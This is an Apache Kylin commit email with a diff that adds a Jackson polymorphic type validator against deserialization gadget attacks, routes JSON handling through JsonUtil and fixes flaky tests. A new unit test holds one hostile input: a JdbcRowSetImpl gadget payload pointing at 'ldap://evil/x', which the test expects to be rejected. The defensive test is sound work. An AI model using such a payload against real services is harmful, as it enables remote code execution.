This is an automated email from the ASF dual-hosted git repository.
jlfsdtc pushed a commit to branch kylin5
in repository https://gitbox.apache.org/repos/asf/kylin.git
The following commit(s) were added to refs/heads/kylin5 by this push:
new bedcc2fa3a KYLIN-6092 Add polymorphic type validator for secure JSON
deserialization
bedcc2fa3a is described below
commit bedcc2fa3afb306d0ea58c88660c7265840fa3dc
Author: jlfsdtc <[email protected]>
AuthorDate: Mon Aug 31 17:17:02 2026 +0800
KYLIN-6092 Add polymorphic type validator for secure JSON deserialization
* KYLIN-6092 Add polymorphic type validator to restrict classes loadable
during JSON deserialization
Event, SegmentRange and BroadcastEventReadyNotifier use
@JsonTypeInfo(Id.CLASS), which lets an attacker-supplied @class id load
arbitrary classes (deserialization gadget attack). Set a
BasicPolymorphicTypeValidator that only allows org.apache.kylin.*
subtypes on the JsonUtil mappers and on the Spring HTTP converter
ObjectMapper in AppConfig.
Co-Authored-By: Claude Fable 5 <[email protected]>
* KYLIN-6092 Fix flaky UT and ignore test-generated files
- BaseSchedulerTest: stop the scheduler and wait for JobWorker threads to
unwind before cleanup, so a lingering worker does not steal driver memory
from the next test's baseline (ResourceAcquirer's semaphore is static).
- KylinConfigBaseTest: compare ext jar paths order-insensitively.
- .gitignore: exclude UT temp files and generated query result artifacts.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* KYLIN-6092 Replace ad-hoc ObjectMapper instances with JsonUtil
Route JSON reads/writes through JsonUtil so they inherit the shared
polymorphic type validator instead of using raw ObjectMapper instances.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* KYLIN-6092 Build JsonUtil object mappers via JsonMapper.builder
Replace the static initializer block with builder-based field
initializers. The active serialization view still has to be applied on
the built mapper, since MapperBuilder exposes no setter for it.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
---------
Co-authored-by: Claude Fable 5 <[email protected]>
---
.../org/apache/kylin/rest/config/AppConfig.java | 2 +
.../org/apache/kylin/common/util/JsonUtil.java | 140 +++++++++++++--------
.../apache/kylin/tool/restclient/RestClient.java | 5 +-
.../apache/kylin/common/KylinConfigBaseTest.java | 2 +-
.../common/util/JsonUtilPolymorphicTypeTest.java | 41 ++++++
.../job/impl/threadpool/BaseSchedulerTest.java | 13 ++
.../upgrade/common/MetadataVersionRefresher.java | 10 +-
.../metadata/cube/model/NSegmentConfigHelper.java | 11 +-
.../kylin/rest/service/AsyncQueryService.java | 5 +-
.../kylin/cluster/parser/SchedulerParser.scala | 6 +-
.../apache/kylin/parser/TimedJsonStreamParser.java | 6 +-
.../apache/kylin/streaming/rest/RestSupport.java | 4 +-
.../tool/discovery/ServiceInstanceSerializer.java | 7 +-
.../apache/kylin/tool/setup/KapGetClusterInfo.java | 6 +-
14 files changed, 167 insertions(+), 91 deletions(-)
diff --git
a/src/common-service/src/main/java/org/apache/kylin/rest/config/AppConfig.java
b/src/common-service/src/main/java/org/apache/kylin/rest/config/AppConfig.java
index fffb25458a..97680aea12 100644
---
a/src/common-service/src/main/java/org/apache/kylin/rest/config/AppConfig.java
+++
b/src/common-service/src/main/java/org/apache/kylin/rest/config/AppConfig.java
@@ -27,6 +27,7 @@ import java.util.concurrent.TimeUnit;
import org.apache.commons.lang3.StringUtils;
import org.apache.kylin.common.util.DefaultHostInfoFetcher;
import org.apache.kylin.common.util.HostInfoFetcher;
+import org.apache.kylin.common.util.JsonUtil;
import org.apache.kylin.common.util.TimeUtil;
import org.apache.kylin.rest.cluster.ClusterManager;
import org.apache.kylin.rest.cluster.DefaultClusterManager;
@@ -189,6 +190,7 @@ public class AppConfig implements WebMvcConfigurer {
public ObjectMapper getObjectMapper() {
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES,
false);
+
objectMapper.setPolymorphicTypeValidator(JsonUtil.KYLIN_TYPE_VALIDATOR);
FilterProvider filterProvider = new
SimpleFilterProvider().addFilter("passwordFilter",
SimpleBeanPropertyFilter.serializeAllExcept("password"));
diff --git
a/src/core-common/src/main/java/org/apache/kylin/common/util/JsonUtil.java
b/src/core-common/src/main/java/org/apache/kylin/common/util/JsonUtil.java
index 32a85dd05e..988897d8bf 100644
--- a/src/core-common/src/main/java/org/apache/kylin/common/util/JsonUtil.java
+++ b/src/core-common/src/main/java/org/apache/kylin/common/util/JsonUtil.java
@@ -46,47 +46,55 @@ import
org.apache.kylin.shaded.jackson.datatype.guava.GuavaModule;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.core.type.TypeReference;
import com.fasterxml.jackson.databind.DeserializationFeature;
-import com.fasterxml.jackson.databind.JavaType;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
+import com.fasterxml.jackson.databind.json.JsonMapper;
+import com.fasterxml.jackson.databind.jsontype.BasicPolymorphicTypeValidator;
+import com.fasterxml.jackson.databind.jsontype.PolymorphicTypeValidator;
import com.fasterxml.jackson.databind.node.ArrayNode;
import com.fasterxml.jackson.databind.node.ObjectNode;
import com.fasterxml.jackson.databind.ser.impl.SimpleFilterProvider;
import com.fasterxml.jackson.databind.type.TypeFactory;
import com.fasterxml.jackson.databind.util.LRUMap;
-import com.fasterxml.jackson.databind.util.LookupCache;
public class JsonUtil {
- // reuse the object mapper to save memory footprint
- private static final ObjectMapper mapper = new ObjectMapper();
- private static final ObjectMapper indentMapper = new ObjectMapper();
- private static final SimpleFilterProvider simpleFilterProvider = new
SimpleFilterProvider()
+ private static final SimpleFilterProvider SIMPLE_FILTER_PROVIDER = new
SimpleFilterProvider()
.setFailOnUnknownId(false);
+ public static final TypeFactory CUSTOM_TYPE_FACTORY =
TypeFactory.defaultInstance()
+ .withCache(new LRUMap<>(16, 2000));
+ // restrict classes loadable via @JsonTypeInfo(Id.CLASS) ids (Event,
SegmentRange, ...)
+ // to Kylin's own types, blocking deserialization gadget attacks
+ public static final PolymorphicTypeValidator KYLIN_TYPE_VALIDATOR =
BasicPolymorphicTypeValidator.builder()
+ .allowIfSubType("org.apache.kylin.").build();
+
+ // reuse the object mapper to save memory footprint
+ private static final ObjectMapper MAPPER =
withPersistenceView(JsonMapper.builder()
+ .configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES,
false)
+
.configure(DeserializationFeature.READ_UNKNOWN_ENUM_VALUES_AS_NULL, true)
+
.filterProvider(SIMPLE_FILTER_PROVIDER).typeFactory(CUSTOM_TYPE_FACTORY).addModule(new
GuavaModule())
+ .polymorphicTypeValidator(KYLIN_TYPE_VALIDATOR).build());
+
+ private static final ObjectMapper INDENT_MAPPER =
withPersistenceView(JsonMapper.builder()
+ .configure(SerializationFeature.INDENT_OUTPUT,
true).filterProvider(SIMPLE_FILTER_PROVIDER)
+ .typeFactory(CUSTOM_TYPE_FACTORY).addModule(new GuavaModule())
+ .polymorphicTypeValidator(KYLIN_TYPE_VALIDATOR).build());
+
+ private static final ObjectMapper DEFAULT_MAPPER = JsonMapper.builder()
+ .polymorphicTypeValidator(KYLIN_TYPE_VALIDATOR).build();
- static {
- LookupCache<Object, JavaType> cache = new LRUMap<>(16, 2000);
- TypeFactory customTypeFactory =
TypeFactory.defaultInstance().withCache(cache);
- mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES,
false)
-
.configure(DeserializationFeature.READ_UNKNOWN_ENUM_VALUES_AS_NULL, true)
-
.setConfig(mapper.getSerializationConfig().withView(PersistenceView.class));
- mapper.setFilterProvider(simpleFilterProvider);
- mapper.setTypeFactory(customTypeFactory);
- mapper.registerModule(new GuavaModule());
- indentMapper.configure(SerializationFeature.INDENT_OUTPUT, true)
-
.setConfig(indentMapper.getSerializationConfig().withView(PersistenceView.class));
- indentMapper.setFilterProvider(simpleFilterProvider);
- indentMapper.setTypeFactory(customTypeFactory);
- indentMapper.registerModule(new GuavaModule());
+ // MapperBuilder has no active-view setter, so apply it on the built mapper
+ private static ObjectMapper withPersistenceView(ObjectMapper mapper) {
+ return
mapper.setConfig(mapper.getSerializationConfig().withView(PersistenceView.class));
}
public static ArrayNode createArrayNode() {
- return mapper.createArrayNode();
+ return MAPPER.createArrayNode();
}
public static <T> T readValue(File src, Class<T> valueType) throws
IOException {
- return mapper.readValue(src, valueType);
+ return MAPPER.readValue(src, valueType);
}
public static <T> T readValueQuietly(File src, Class<T> valueType) {
@@ -106,65 +114,85 @@ public class JsonUtil {
}
public static <T> T readValue(String content, Class<T> valueType) throws
IOException {
- return mapper.readValue(content, valueType);
+ return MAPPER.readValue(content, valueType);
+ }
+
+ public static <T> T readValueDefault(String content, Class<T> valueType)
throws IOException {
+ return DEFAULT_MAPPER.readValue(content, valueType);
}
public static <T> T readValue(Reader src, Class<T> valueType) throws
IOException {
- return mapper.readValue(src, valueType);
+ return MAPPER.readValue(src, valueType);
}
public static <T> T readValue(InputStream src, Class<T> valueType) throws
IOException {
- return mapper.readValue(src, valueType);
+ return MAPPER.readValue(src, valueType);
}
public static <T> T readValue(byte[] src, Class<T> valueType) throws
IOException {
- return mapper.readValue(src, valueType);
+ return MAPPER.readValue(src, valueType);
}
public static <T> ObjectNode valueToTree(T value) {
- return mapper.valueToTree(value);
+ return MAPPER.valueToTree(value);
}
public static <T> T readValue(String content, TypeReference<T>
valueTypeRef) throws IOException {
- return mapper.readValue(content, valueTypeRef);
+ return MAPPER.readValue(content, valueTypeRef);
}
public static <T> T readValue(File src, TypeReference<T> valueTypeRef)
throws IOException {
- return mapper.readValue(src, valueTypeRef);
+ return MAPPER.readValue(src, valueTypeRef);
}
public static <T> T readValue(InputStream src, TypeReference<T>
valueTypeRef) throws IOException {
- return mapper.readValue(src, valueTypeRef);
+ return MAPPER.readValue(src, valueTypeRef);
}
public static Map<String, String> readValueAsMap(String content) throws
IOException {
TypeReference<HashMap<String, String>> typeRef = new
TypeReference<HashMap<String, String>>() {
};
- return mapper.readValue(content, typeRef);
+ return MAPPER.readValue(content, typeRef);
}
public static Set<String> readValueAsSet(String content) throws
IOException {
TypeReference<HashSet<String>> typeRef = new
TypeReference<HashSet<String>>() {
};
- return mapper.readValue(content, typeRef);
+ return MAPPER.readValue(content, typeRef);
}
public static List<String> readValueAsList(String content) throws
IOException {
TypeReference<ArrayList<String>> typeRef = new
TypeReference<ArrayList<String>>() {
};
- return mapper.readValue(content, typeRef);
+ return MAPPER.readValue(content, typeRef);
}
public static JsonNode readValueAsTree(String content) throws IOException {
- return mapper.readTree(content);
+ return MAPPER.readTree(content);
+ }
+
+ public static JsonNode readValueAsTreeDefault(String content) throws
IOException {
+ return DEFAULT_MAPPER.readTree(content);
+ }
+
+ public static JsonNode readValueAsTreeDefault(byte[] content) throws
IOException {
+ return DEFAULT_MAPPER.readTree(content);
+ }
+
+ public static JsonNode readValueAsTreeDefault(InputStream iso) throws
IOException {
+ return DEFAULT_MAPPER.readTree(iso);
}
public static void writeValueIndent(OutputStream out, Object value) throws
IOException {
- indentMapper.writeValue(out, value);
+ INDENT_MAPPER.writeValue(out, value);
+ }
+
+ public static void writeValueIndentDefault(OutputStream out, Object value)
throws IOException {
+ DEFAULT_MAPPER.writerWithDefaultPrettyPrinter().writeValue(out, value);
}
public static void writeValue(OutputStream out, Object value) throws
IOException {
- mapper.writeValue(out, value);
+ MAPPER.writeValue(out, value);
}
public static void writeValue(File out, Object value) throws IOException {
@@ -173,11 +201,15 @@ public class JsonUtil {
public static <T> String writeValueAsStringForCollection(Object value,
TypeReference<T> ref)
throws JsonProcessingException {
- return mapper.writerFor(ref).writeValueAsString(value);
+ return MAPPER.writerFor(ref).writeValueAsString(value);
}
public static String writeValueAsString(Object value) throws
JsonProcessingException {
- return mapper.writeValueAsString(value);
+ return MAPPER.writeValueAsString(value);
+ }
+
+ public static String writeValueAsStringDefault(Object value) throws
JsonProcessingException {
+ return DEFAULT_MAPPER.writeValueAsString(value);
}
public static String writeValueAsStringQuietly(Object value) {
@@ -189,37 +221,41 @@ public class JsonUtil {
}
public static byte[] writeValueAsBytes(Object value) throws
JsonProcessingException {
- return mapper.writeValueAsBytes(value);
+ return MAPPER.writeValueAsBytes(value);
}
public static byte[] writeValueAsIndentBytes(Object value) throws
JsonProcessingException {
- return indentMapper.writeValueAsBytes(value);
+ return INDENT_MAPPER.writeValueAsBytes(value);
}
public static String writeValueAsIndentString(Object value) throws
JsonProcessingException {
- return indentMapper.writeValueAsString(value);
+ return INDENT_MAPPER.writeValueAsString(value);
}
public static String writeValueAsStringWithPretty(Object value) throws
JsonProcessingException {
- return
indentMapper.writerWithDefaultPrettyPrinter().writeValueAsString(value);
+ return
INDENT_MAPPER.writerWithDefaultPrettyPrinter().writeValueAsString(value);
}
public static <T> T convert(Object obj, Class<T> valueType) {
- return mapper.convertValue(obj, valueType);
+ return MAPPER.convertValue(obj, valueType);
+ }
+
+ public static <T> T convertDefault(Object obj, Class<T> valueType) {
+ return DEFAULT_MAPPER.convertValue(obj, valueType);
}
public static <T> T convert(Object obj, TypeReference<T> valueType) {
- return mapper.convertValue(obj, valueType);
+ return MAPPER.convertValue(obj, valueType);
}
public static <T> T deepCopy(T src, Class<T> valueType) throws IOException
{
- String s = mapper.writeValueAsString(src);
- return mapper.readValue(s, valueType);
+ String s = MAPPER.writeValueAsString(src);
+ return MAPPER.readValue(s, valueType);
}
public static <T> T deepCopy(T src, TypeReference<T> valueType) throws
IOException {
- String s = mapper.writeValueAsString(src);
- return mapper.readValue(s, valueType);
+ String s = MAPPER.writeValueAsString(src);
+ return MAPPER.readValue(s, valueType);
}
public static <T> T deepCopyQuietly(T src, Class<T> valueType) {
@@ -240,10 +276,10 @@ public class JsonUtil {
public static <T extends RootPersistentEntity> T copyForWrite(T entity,
Serializer<T> serializer,
@Nullable BiConsumer<T, String> initEntityAfterReload) {
- if (!entity.isCachedAndShared())
+ if (!entity.isCachedAndShared()) {
return entity;
- else
- return copyBySerialization(entity, serializer,
initEntityAfterReload);
+ }
+ return copyBySerialization(entity, serializer, initEntityAfterReload);
}
public static <T extends RootPersistentEntity> T copyBySerialization(T
entity, Serializer<T> serializer,
@@ -275,7 +311,7 @@ public class JsonUtil {
public static boolean isJson(String content) {
try {
- mapper.readTree(content);
+ MAPPER.readTree(content);
return true;
} catch (IOException e) {
return false;
diff --git
a/src/core-common/src/main/java/org/apache/kylin/tool/restclient/RestClient.java
b/src/core-common/src/main/java/org/apache/kylin/tool/restclient/RestClient.java
index 63269f1782..2292749031 100644
---
a/src/core-common/src/main/java/org/apache/kylin/tool/restclient/RestClient.java
+++
b/src/core-common/src/main/java/org/apache/kylin/tool/restclient/RestClient.java
@@ -65,7 +65,6 @@ import org.slf4j.LoggerFactory;
import org.springframework.http.HttpHeaders;
import com.fasterxml.jackson.core.type.TypeReference;
-import com.fasterxml.jackson.databind.ObjectMapper;
/**
*/
@@ -155,7 +154,7 @@ public class RestClient {
HashMap<String, String> paraMap = new HashMap<>();
paraMap.put("sql", sql);
paraMap.put("project", project);
- String jsonMsg = new ObjectMapper().writeValueAsString(paraMap);
+ String jsonMsg = JsonUtil.writeValueAsStringDefault(paraMap);
post.setEntity(new StringEntity(jsonMsg, "UTF-8"));
return client.execute(post);
}
@@ -383,7 +382,7 @@ public class RestClient {
paraMap.put("stage", stage);
paraMap.put("progress", progress);
paraMap.put("updateTime", updateTime);
- put.setEntity(new StringEntity(new
ObjectMapper().writeValueAsString(paraMap), "UTF-8"));
+ put.setEntity(new
StringEntity(JsonUtil.writeValueAsStringDefault(paraMap), "UTF-8"));
response = client.execute(put);
if (response.getStatusLine().getStatusCode() != HttpStatus.SC_OK) {
String msg = EntityUtils.toString(response.getEntity());
diff --git
a/src/core-common/src/test/java/org/apache/kylin/common/KylinConfigBaseTest.java
b/src/core-common/src/test/java/org/apache/kylin/common/KylinConfigBaseTest.java
index 29a665bb0d..f3b3c07e99 100644
---
a/src/core-common/src/test/java/org/apache/kylin/common/KylinConfigBaseTest.java
+++
b/src/core-common/src/test/java/org/apache/kylin/common/KylinConfigBaseTest.java
@@ -1516,7 +1516,7 @@ class KylinConfigBaseTest {
val withoutGluten = config.getKylinExtJarsPath(false);
val withoutExpected = "," + celebornJar.getAbsolutePath() + "," +
mysqlJar.getAbsolutePath();
- Assertions.assertEquals(withoutExpected, withoutGluten);
+ assertUnorderedEqualsIgnoringEmpty(withoutExpected, withoutGluten);
}
@Test
diff --git
a/src/core-common/src/test/java/org/apache/kylin/common/util/JsonUtilPolymorphicTypeTest.java
b/src/core-common/src/test/java/org/apache/kylin/common/util/JsonUtilPolymorphicTypeTest.java
new file mode 100644
index 0000000000..e896326178
--- /dev/null
+++
b/src/core-common/src/test/java/org/apache/kylin/common/util/JsonUtilPolymorphicTypeTest.java
@@ -0,0 +1,41 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.kylin.common.util;
+
+import org.apache.kylin.common.persistence.event.Event;
+import org.apache.kylin.common.persistence.event.ResourceDeleteEvent;
+import org.junit.Assert;
+import org.junit.jupiter.api.Test;
+
+import com.fasterxml.jackson.databind.exc.InvalidTypeIdException;
+
+public class JsonUtilPolymorphicTypeTest {
+
+ @Test
+ public void testKylinEventSubTypeAllowed() throws Exception {
+ String json = JsonUtil.writeValueAsString(new
ResourceDeleteEvent("PROJECT/p1"));
+ Event event = JsonUtil.readValue(json, Event.class);
+ Assert.assertTrue(event instanceof ResourceDeleteEvent);
+ }
+
+ @Test
+ public void testNonKylinClassIdRejected() {
+ String json =
"{\"@class\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://evil/x\"}";;
+ Assert.assertThrows(InvalidTypeIdException.class, () ->
JsonUtil.readValue(json, Event.class));
+ }
+}
diff --git
a/src/core-job/src/test/java/org/apache/kylin/job/impl/threadpool/BaseSchedulerTest.java
b/src/core-job/src/test/java/org/apache/kylin/job/impl/threadpool/BaseSchedulerTest.java
index bfd943d7b3..1108303a2e 100644
---
a/src/core-job/src/test/java/org/apache/kylin/job/impl/threadpool/BaseSchedulerTest.java
+++
b/src/core-job/src/test/java/org/apache/kylin/job/impl/threadpool/BaseSchedulerTest.java
@@ -70,10 +70,23 @@ public abstract class BaseSchedulerTest extends
NLocalFileMetadataTestCase {
@After
public void tearDown() throws Exception {
+ JobContextUtil.stopScheduler();
+ awaitJobWorkersStopped();
JobContextUtil.cleanUp();
cleanupTestMetadata();
}
+ /**
+ * Stopping the scheduler only interrupts the job workers, it does not
wait for them: the driver memory permit is
+ * given back later, while the worker unwinds (JobExecutor#close).
ResourceAcquirer's semaphore is static and never
+ * reset, so a worker outliving its test steals memory from the next
test's baseline.
+ */
+ private void awaitJobWorkersStopped() {
+ with().pollInterval(10, TimeUnit.MILLISECONDS).await().atMost(30,
TimeUnit.SECONDS)
+ .until(() -> Thread.getAllStackTraces().keySet().stream()
+ .noneMatch(t -> t.getName().startsWith("JobWorker(")));
+ }
+
protected void waitForJobFinish(String jobId) {
waitForJobFinish(jobId, 120000);
}
diff --git
a/src/core-metadata/src/main/java/org/apache/kylin/cube/upgrade/common/MetadataVersionRefresher.java
b/src/core-metadata/src/main/java/org/apache/kylin/cube/upgrade/common/MetadataVersionRefresher.java
index 005fce51f8..76d6a74a15 100644
---
a/src/core-metadata/src/main/java/org/apache/kylin/cube/upgrade/common/MetadataVersionRefresher.java
+++
b/src/core-metadata/src/main/java/org/apache/kylin/cube/upgrade/common/MetadataVersionRefresher.java
@@ -26,14 +26,13 @@ import java.util.NavigableSet;
import org.apache.kylin.common.persistence.ResourceStore;
import org.apache.kylin.common.util.HadoopUtil;
+import org.apache.kylin.common.util.JsonUtil;
import org.apache.kylin.guava30.shaded.common.collect.Lists;
import org.apache.kylin.guava30.shaded.common.io.ByteSource;
import org.apache.kylin.metadata.MetadataConstants;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
-import com.fasterxml.jackson.databind.ObjectMapper;
-import com.fasterxml.jackson.databind.SerializationFeature;
import com.fasterxml.jackson.databind.node.ObjectNode;
/**
@@ -54,9 +53,6 @@ public class MetadataVersionRefresher {
}
public void refresh() throws IOException {
- ObjectMapper mapper = new ObjectMapper();
- mapper.configure(SerializationFeature.INDENT_OUTPUT, true);
-
List<String> all = Lists.newArrayList();
collectFiles(this.store, "/", all);
@@ -66,11 +62,11 @@ public class MetadataVersionRefresher {
logger.info("Updating metadata version of path {}", path);
ObjectNode objectNode;
try (InputStream is =
this.store.getResource(path).getByteSource().openStream()) {
- objectNode = (ObjectNode) mapper.readTree(is);
+ objectNode = (ObjectNode)
JsonUtil.readValueAsTreeDefault(is);
}
objectNode.put("version", version);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
- mapper.writeValue(baos, objectNode);
+ JsonUtil.writeValueIndentDefault(baos, objectNode);
this.store.checkAndPutResource(path,
ByteSource.wrap(baos.toByteArray()), -1);
}
}
diff --git
a/src/core-metadata/src/main/java/org/apache/kylin/metadata/cube/model/NSegmentConfigHelper.java
b/src/core-metadata/src/main/java/org/apache/kylin/metadata/cube/model/NSegmentConfigHelper.java
index e8d64d4cea..cd23ebf61b 100644
---
a/src/core-metadata/src/main/java/org/apache/kylin/metadata/cube/model/NSegmentConfigHelper.java
+++
b/src/core-metadata/src/main/java/org/apache/kylin/metadata/cube/model/NSegmentConfigHelper.java
@@ -21,20 +21,17 @@ package org.apache.kylin.metadata.cube.model;
import java.util.Map;
import org.apache.kylin.common.KylinConfig;
+import org.apache.kylin.common.util.JsonUtil;
import org.apache.kylin.guava30.shaded.common.base.Preconditions;
import org.apache.kylin.metadata.model.NDataModel;
import org.apache.kylin.metadata.model.NDataModelManager;
import org.apache.kylin.metadata.model.SegmentConfig;
import org.apache.kylin.metadata.project.NProjectManager;
-import com.fasterxml.jackson.databind.ObjectMapper;
-
import lombok.val;
public class NSegmentConfigHelper {
- final static ObjectMapper mapper = new ObjectMapper();
-
public static SegmentConfig getModelSegmentConfig(String project, String
model) {
val kylinConfig = KylinConfig.getInstanceFromEnv();
NDataModel dataModel = NDataModelManager.getInstance(kylinConfig,
project).getDataModelDesc(model);
@@ -59,8 +56,8 @@ public class NSegmentConfigHelper {
if (secondSegmentConfig == null) {
return firstSegmentConfig;
}
- Map<String, Object> firstSegmentConfigMap =
mapper.convertValue(firstSegmentConfig, Map.class);
- Map<String, Object> secondSegmentConfigMap =
mapper.convertValue(secondSegmentConfig, Map.class);
+ Map<String, Object> firstSegmentConfigMap =
JsonUtil.convertDefault(firstSegmentConfig, Map.class);
+ Map<String, Object> secondSegmentConfigMap =
JsonUtil.convertDefault(secondSegmentConfig, Map.class);
secondSegmentConfigMap.entrySet().forEach(entry -> {
val key = entry.getKey();
val value = entry.getValue();
@@ -68,7 +65,7 @@ public class NSegmentConfigHelper {
firstSegmentConfigMap.put(key, value);
}
});
- return mapper.convertValue(firstSegmentConfigMap, SegmentConfig.class);
+ return JsonUtil.convertDefault(firstSegmentConfigMap,
SegmentConfig.class);
}
private static SegmentConfig getFromProject(String project, KylinConfig
kylinConfig) {
diff --git
a/src/query-service/src/main/java/org/apache/kylin/rest/service/AsyncQueryService.java
b/src/query-service/src/main/java/org/apache/kylin/rest/service/AsyncQueryService.java
index f692bb2c47..4f9bc46da1 100644
---
a/src/query-service/src/main/java/org/apache/kylin/rest/service/AsyncQueryService.java
+++
b/src/query-service/src/main/java/org/apache/kylin/rest/service/AsyncQueryService.java
@@ -53,6 +53,7 @@ import org.apache.kylin.common.exception.KylinException;
import org.apache.kylin.common.msg.Message;
import org.apache.kylin.common.msg.MsgPicker;
import org.apache.kylin.common.util.FileSystemUtil;
+import org.apache.kylin.common.util.JsonUtil;
import org.apache.kylin.guava30.shaded.common.collect.Lists;
import org.apache.kylin.metadata.project.NProjectManager;
import org.apache.kylin.metadata.project.ProjectInstance;
@@ -65,8 +66,6 @@ import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.stereotype.Component;
-import com.fasterxml.jackson.databind.ObjectMapper;
-
import lombok.Getter;
import lombok.Setter;
@@ -346,7 +345,7 @@ public class AsyncQueryService extends BasicService {
}
}
}
- String json = new ObjectMapper().writeValueAsString(rowResults);
+ String json = JsonUtil.writeValueAsStringDefault(rowResults);
IOUtils.copy(IOUtils.toInputStream(json), outputStream);
}
diff --git
a/src/spark-project/engine-spark/src/main/scala/org/apache/kylin/cluster/parser/SchedulerParser.scala
b/src/spark-project/engine-spark/src/main/scala/org/apache/kylin/cluster/parser/SchedulerParser.scala
index 9db043abc7..5f7e548a53 100644
---
a/src/spark-project/engine-spark/src/main/scala/org/apache/kylin/cluster/parser/SchedulerParser.scala
+++
b/src/spark-project/engine-spark/src/main/scala/org/apache/kylin/cluster/parser/SchedulerParser.scala
@@ -18,18 +18,18 @@
package org.apache.kylin.cluster.parser
-import com.fasterxml.jackson.databind.{JsonNode, ObjectMapper}
+import com.fasterxml.jackson.databind.JsonNode
import org.apache.kylin.cluster.AvailableResource
+import org.apache.kylin.common.util.JsonUtil
import org.apache.spark.internal.Logging
trait SchedulerParser extends Logging {
protected var root: JsonNode = _
- protected lazy val mapper = new ObjectMapper
def availableResource(queueName: String): AvailableResource
def parse(schedulerInfo: String): Unit = {
- this.root = mapper.readTree(schedulerInfo)
+ this.root = JsonUtil.readValueAsTreeDefault(schedulerInfo)
}
// value in some scheduler info format to "value"
diff --git
a/src/streaming/src/main/java/org/apache/kylin/parser/TimedJsonStreamParser.java
b/src/streaming/src/main/java/org/apache/kylin/parser/TimedJsonStreamParser.java
index 83feb7e2b4..8a4673304c 100644
---
a/src/streaming/src/main/java/org/apache/kylin/parser/TimedJsonStreamParser.java
+++
b/src/streaming/src/main/java/org/apache/kylin/parser/TimedJsonStreamParser.java
@@ -24,9 +24,9 @@ import java.util.Map;
import java.util.TreeMap;
import org.apache.commons.lang3.StringUtils;
+import org.apache.kylin.common.util.JsonUtil;
import com.fasterxml.jackson.databind.JsonNode;
-import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ArrayNode;
import com.fasterxml.jackson.databind.node.ObjectNode;
import com.fasterxml.jackson.databind.node.ValueNode;
@@ -39,13 +39,11 @@ import lombok.SneakyThrows;
*/
public class TimedJsonStreamParser extends AbstractDataParser<ByteBuffer> {
- private final ObjectMapper mapper = new ObjectMapper();
-
@SneakyThrows
@Override
protected Map<String, Object> parse(ByteBuffer input) {
Map<String, Object> flatMap = new
TreeMap<>(String.CASE_INSENSITIVE_ORDER);
- traverseJsonNode("", mapper.readTree(input.array()), flatMap);
+ traverseJsonNode("", JsonUtil.readValueAsTreeDefault(input.array()),
flatMap);
return flatMap;
}
diff --git
a/src/streaming/src/main/java/org/apache/kylin/streaming/rest/RestSupport.java
b/src/streaming/src/main/java/org/apache/kylin/streaming/rest/RestSupport.java
index 55f4529422..b76f906ffa 100644
---
a/src/streaming/src/main/java/org/apache/kylin/streaming/rest/RestSupport.java
+++
b/src/streaming/src/main/java/org/apache/kylin/streaming/rest/RestSupport.java
@@ -43,7 +43,6 @@ import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.fasterxml.jackson.core.type.TypeReference;
-import com.fasterxml.jackson.databind.ObjectMapper;
import lombok.val;
import lombok.var;
@@ -81,9 +80,8 @@ public class RestSupport implements Closeable {
while (retry++ < MAX_RETRY) {
try {
if (param != null && httpReqBase instanceof
HttpEntityEnclosingRequestBase) {
- ObjectMapper mapper = new ObjectMapper();
((HttpEntityEnclosingRequestBase) httpReqBase)
- .setEntity(new
StringEntity(mapper.writeValueAsString(param), "UTF-8"));
+ .setEntity(new
StringEntity(JsonUtil.writeValueAsStringDefault(param), "UTF-8"));
}
HttpResponse response = httpClient.execute(httpReqBase);
diff --git
a/src/tool/src/main/java/org/apache/kylin/tool/discovery/ServiceInstanceSerializer.java
b/src/tool/src/main/java/org/apache/kylin/tool/discovery/ServiceInstanceSerializer.java
index 368d6ce822..3ae9dfeaa4 100644
---
a/src/tool/src/main/java/org/apache/kylin/tool/discovery/ServiceInstanceSerializer.java
+++
b/src/tool/src/main/java/org/apache/kylin/tool/discovery/ServiceInstanceSerializer.java
@@ -23,13 +23,10 @@ import java.util.Map;
import org.apache.curator.x.discovery.ServiceInstance;
import org.apache.curator.x.discovery.ServiceType;
import org.apache.curator.x.discovery.details.JsonInstanceSerializer;
-
-import com.fasterxml.jackson.databind.ObjectMapper;
+import org.apache.kylin.common.util.JsonUtil;
public class ServiceInstanceSerializer<T> extends JsonInstanceSerializer<T> {
- private ObjectMapper mapper = new ObjectMapper();
-
public ServiceInstanceSerializer(Class<T> payloadClass) {
super(payloadClass);
}
@@ -37,7 +34,7 @@ public class ServiceInstanceSerializer<T> extends
JsonInstanceSerializer<T> {
@Override
public ServiceInstance<T> deserialize(byte[] bytes) throws Exception {
String content = new String(bytes, Charset.defaultCharset());
- Map map = mapper.readValue(content, Map.class);
+ Map map = JsonUtil.readValueDefault(content, Map.class);
return castToServiceInstance(map);
}
diff --git
a/src/tool/src/main/java/org/apache/kylin/tool/setup/KapGetClusterInfo.java
b/src/tool/src/main/java/org/apache/kylin/tool/setup/KapGetClusterInfo.java
